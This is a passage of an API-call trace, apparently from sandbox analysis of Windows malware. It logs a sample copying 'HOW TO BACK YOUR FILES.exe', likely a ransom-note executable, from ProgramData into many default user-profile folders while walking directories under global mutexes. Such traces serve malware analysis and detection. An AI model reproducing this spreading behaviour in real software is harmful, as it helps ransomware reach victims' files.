dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.706] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.706] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d06a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d06a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529950 [0100.706] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0100.707] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.707] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.707] CreateFileW (lpFileName="C:\\Users\\Default\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\start menu\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.707] GetLastError () returned 0x0 [0100.707] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.707] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.708] CloseHandle (hObject=0xf4) returned 1 [0100.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.708] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.708] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d2cba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d2cba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529990 [0100.709] lstrcatW (in: lpString1="Programs", lpString2="\\" | out: lpString1="Programs\\") returned="Programs\\" [0100.709] lstrcatW (in: lpString1="Programs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Programs\\HOW TO BACK YOUR FILES.exe") returned="Programs\\HOW TO BACK YOUR FILES.exe" [0100.709] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.709] FindNextFileW (in: hFindFile=0x529990, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d52d00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d52d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 0 [0100.709] FindClose (in: hFindFile=0x529990 | out: hFindFile=0x529990) returned 1 [0100.709] ReleaseMutex (hMutex=0xec) returned 1 [0100.709] CloseHandle (hObject=0xec) returned 1 [0100.709] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0100.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5299d0 | out: hHeap=0x4f0000) returned 1 [0100.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b2d8 | out: hHeap=0x4f0000) returned 1 [0100.710] lstrlenW (lpString="C:\\Users\\Default\\Templates") returned 26 [0100.710] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\031B43DBAC30E5EF09E77AD8B49EDF8D") returned 0xec [0100.710] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.710] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0100.710] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.710] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.710] CreateFileW (lpFileName="C:\\Users\\Default\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\templates\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.710] GetLastError () returned 0x0 [0100.711] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.711] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.711] CloseHandle (hObject=0xf4) returned 1 [0100.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.712] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.712] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1efd00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1efd00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5299d0 [0100.712] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0100.712] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.712] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.712] CreateFileW (lpFileName="C:\\Users\\Default\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.713] GetLastError () returned 0x0 [0100.713] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.713] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.714] CloseHandle (hObject=0xf4) returned 1 [0100.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.714] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.714] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7d78e60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7d78e60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5299d0 [0100.714] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\AppData" | out: lpString1="C:\\Users\\Default User\\AppData") returned="C:\\Users\\Default User\\AppData" [0100.714] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.714] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\appdata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.714] CreateFileW (lpFileName="C:\\Users\\Default User\\AppData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\appdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.715] GetLastError () returned 0x0 [0100.715] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.715] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.715] CloseHandle (hObject=0xf4) returned 1 [0100.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.715] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.715] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\AppData\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5299d0 [0100.715] lstrcatW (in: lpString1="Local", lpString2="\\" | out: lpString1="Local\\") returned="Local\\" [0100.715] lstrcatW (in: lpString1="Local\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Local\\HOW TO BACK YOUR FILES.exe") returned="Local\\HOW TO BACK YOUR FILES.exe" [0100.715] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\AppData\\Local\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\appdata\\local\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.716] FindNextFileW (in: hFindFile=0x5299d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc77d1a20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77d1a20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0100.716] lstrcatW (in: lpString1="LocalLow", lpString2="\\" | out: lpString1="LocalLow\\") returned="LocalLow\\" [0100.716] lstrcatW (in: lpString1="LocalLow\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LocalLow\\HOW TO BACK YOUR FILES.exe") returned="LocalLow\\HOW TO BACK YOUR FILES.exe" [0100.716] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\appdata\\locallow\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.717] FindNextFileW (in: hFindFile=0x5299d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0100.717] lstrcatW (in: lpString1="Roaming", lpString2="\\" | out: lpString1="Roaming\\") returned="Roaming\\" [0100.717] lstrcatW (in: lpString1="Roaming\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Roaming\\HOW TO BACK YOUR FILES.exe") returned="Roaming\\HOW TO BACK YOUR FILES.exe" [0100.717] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\appdata\\roaming\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.717] FindNextFileW (in: hFindFile=0x5299d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0100.717] FindClose (in: hFindFile=0x5299d0 | out: hFindFile=0x5299d0) returned 1 [0100.717] ReleaseMutex (hMutex=0xec) returned 1 [0100.717] CloseHandle (hObject=0xec) returned 1 [0100.717] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default User\\Application Data" | out: lpString1="C:\\Users\\Default User\\Application Data") returned="C:\\Users\\Default User\\Application Data" [0100.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516a50 | out: hHeap=0x4f0000) returned 1 [0100.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b308 | out: hHeap=0x4f0000) returned 1 [0100.717] lstrlenW (lpString="C:\\Users\\Default User\\Application Data") returned 38 [0100.717] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1169E9AF7ADDB421814E8883804596BF") returned 0xec [0100.718] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.718] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Application Data" | out: lpString1="C:\\Users\\Default User\\Application Data") returned="C:\\Users\\Default User\\Application Data" [0100.718] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.718] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.718] CreateFileW (lpFileName="C:\\Users\\Default User\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.718] GetLastError () returned 0x0 [0100.718] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.719] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.719] CloseHandle (hObject=0xf4) returned 1 [0100.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.719] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.719] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5299d0 [0100.719] lstrcatW (in: lpString1="Identities", lpString2="\\" | out: lpString1="Identities\\") returned="Identities\\" [0100.719] lstrcatW (in: lpString1="Identities\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Identities\\HOW TO BACK YOUR FILES.exe") returned="Identities\\HOW TO BACK YOUR FILES.exe" [0100.719] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Application Data\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\application data\\identities\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.719] FindNextFileW (in: hFindFile=0x5299d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0100.720] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0100.720] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0100.720] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.720] FindNextFileW (in: hFindFile=0x5299d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0100.721] FindClose (in: hFindFile=0x5299d0 | out: hFindFile=0x5299d0) returned 1 [0100.721] ReleaseMutex (hMutex=0xec) returned 1 [0100.721] CloseHandle (hObject=0xec) returned 1 [0100.721] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default User\\Contacts" | out: lpString1="C:\\Users\\Default User\\Contacts") returned="C:\\Users\\Default User\\Contacts" [0100.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50fb98 | out: hHeap=0x4f0000) returned 1 [0100.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b320 | out: hHeap=0x4f0000) returned 1 [0100.721] lstrlenW (lpString="C:\\Users\\Default User\\Contacts") returned 30 [0100.722] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\259C841586ECE03FD134A8D5575A446E") returned 0xec [0100.722] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.722] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Contacts" | out: lpString1="C:\\Users\\Default User\\Contacts") returned="C:\\Users\\Default User\\Contacts" [0100.722] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.722] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.722] CreateFileW (lpFileName="C:\\Users\\Default User\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\contacts\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.722] GetLastError () returned 0x0 [0100.723] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.723] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.723] CloseHandle (hObject=0xf4) returned 1 [0100.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.723] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.723] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Contacts\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7843e40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7843e40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5299d0 [0100.723] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Cookies" | out: lpString1="C:\\Users\\Default User\\Cookies") returned="C:\\Users\\Default User\\Cookies" [0100.723] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.723] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.724] CreateFileW (lpFileName="C:\\Users\\Default User\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\cookies\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.724] GetLastError () returned 0x0 [0100.724] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.724] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.724] CloseHandle (hObject=0xf4) returned 1 [0100.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.724] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.724] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Cookies\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7890100, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7890100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5299d0 [0100.724] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User\\Desktop" | out: 